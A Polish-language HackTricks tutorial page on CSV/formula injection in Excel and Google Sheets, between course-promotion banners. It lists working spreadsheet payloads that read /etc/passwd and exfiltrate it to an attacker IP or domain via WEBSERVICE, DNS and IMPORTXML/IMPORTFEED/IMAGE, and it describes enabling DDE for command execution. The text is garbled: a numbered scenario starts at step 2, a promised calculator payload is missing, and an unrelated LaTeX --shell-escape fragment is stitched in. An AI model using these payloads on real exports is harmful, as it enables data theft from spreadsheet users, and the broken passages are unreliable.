Ucz się i ćwicz Hacking AWS:<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">\
Ucz się i ćwicz Hacking GCP: <imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
Jeśli twój **input** jest **odzwierciedlany** w **plikach CSV** (lub jakichkolwiek innych plikach, które prawdopodobnie będą otwierane przez **Excel**), możesz być w stanie wprowadzić **formuły** Excel, które będą **wykonywane**, gdy użytkownik **otworzy plik** lub gdy użytkownik **kliknie w jakiś link** w arkuszu Excel.
Obecnie **Excel będzie ostrzegać** (wielokrotnie) **użytkownika, gdy coś jest ładowane z zewnątrz Excel**, aby zapobiec działaniom złośliwym. Dlatego należy szczególnie skupić się na inżynierii społecznej w końcowym ładunku.
**Poniższy przykład jest bardzo przydatny do eksfiltracji treści z końcowego arkusza Excel i do wykonywania żądań do dowolnych lokalizacji. Wymaga jednak, aby użytkownik kliknął w link (i zaakceptował komunikaty ostrzegawcze).**
Wyobraź sobie naruszenie bezpieczeństwa w systemie zarządzania danymi studentów, które zostało wykorzystane za pomocą ataku CSV injection. Głównym celem atakującego jest kompromitacja systemu używanego przez nauczycieli do zarządzania danymi studentów. Metoda polega na tym, że atakujący wstrzykuje złośliwy ładunek do aplikacji, w szczególności poprzez wprowadzenie szkodliwych formuł do pól przeznaczonych na dane studentów. Atak przebiega następująco:
* Atakujący przesyła formularz danych studenta, ale dodaje formułę powszechnie używaną w arkuszach kalkulacyjnych (np. `=HYPERLINK("<malicious_link>","Kliknij tutaj")`).
* Ta formuła ma na celu utworzenie hiperłącza, ale wskazuje na złośliwy serwer kontrolowany przez atakującego.
2.**Eksportowanie skompromitowanych danych:**
* Nauczyciele, nieświadomi kompromitacji, korzystają z funkcji aplikacji, aby wyeksportować dane do pliku CSV.
W określonych konfiguracjach lub starszych wersjach Excela, funkcja zwana Dynamic Data Exchange (DDE) może być wykorzystana do wykonywania dowolnych poleceń. Aby to wykorzystać, należy włączyć następujące ustawienia:
* Przejdź do Plik → Opcje → Centrum zaufania → Ustawienia Centrum zaufania → Zawartość zewnętrzna i włącz **Uruchamianie serwera Dynamic Data Exchange**.
Gdy arkusz kalkulacyjny z złośliwym ładunkiem jest otwierany (i jeśli użytkownik zaakceptuje ostrzeżenia), ładunek jest wykonywany. Na przykład, aby uruchomić aplikację kalkulatora, ładunek byłby:
* Odczyt pierwszej linii z lokalnego pliku `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1`
* Eksfiltracja odczytanych danych do serwera kontrolowanego przez atakującego: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
* Eksfiltracja więcej niż jednej linii: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* Eksfiltracja DNS (wysyłanie odczytanych danych jako zapytań DNS do serwera DNS kontrolowanego przez atakującego): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
* **CONCATENATE**: Łączy ciągi razem - `=CONCATENATE(A2:E2)`
* **IMPORTXML**: Importuje dane z typów danych strukturalnych - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
* **IMPORTFEED**: Importuje kanały RSS lub ATOM - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
* **IMPORTHTML**: Importuje dane z tabel HTML lub list - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
* **IMPORTRANGE**: Importuje zakres komórek z innego arkusza kalkulacyjnego - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
* **IMAGE**: Wstawia obraz do komórki - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
* **`--shell-restricted`**: To samo co `--shell-escape`, ale **ograniczone** do 'bezpiecznego' zestawu **zdefiniowanych** \*\*poleceń (\*\*Na Ubuntu 16.04 lista znajduje się w `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`**: **Włącza** konstrukcję `\write18{command}`. Polecenie może być dowolnym poleceniem powłoki. Ta konstrukcja jest normalnie zabroniona z powodów bezpieczeństwa.
Ucz się i ćwicz AWS Hacking:<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">\
Ucz się i ćwicz GCP Hacking: <imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.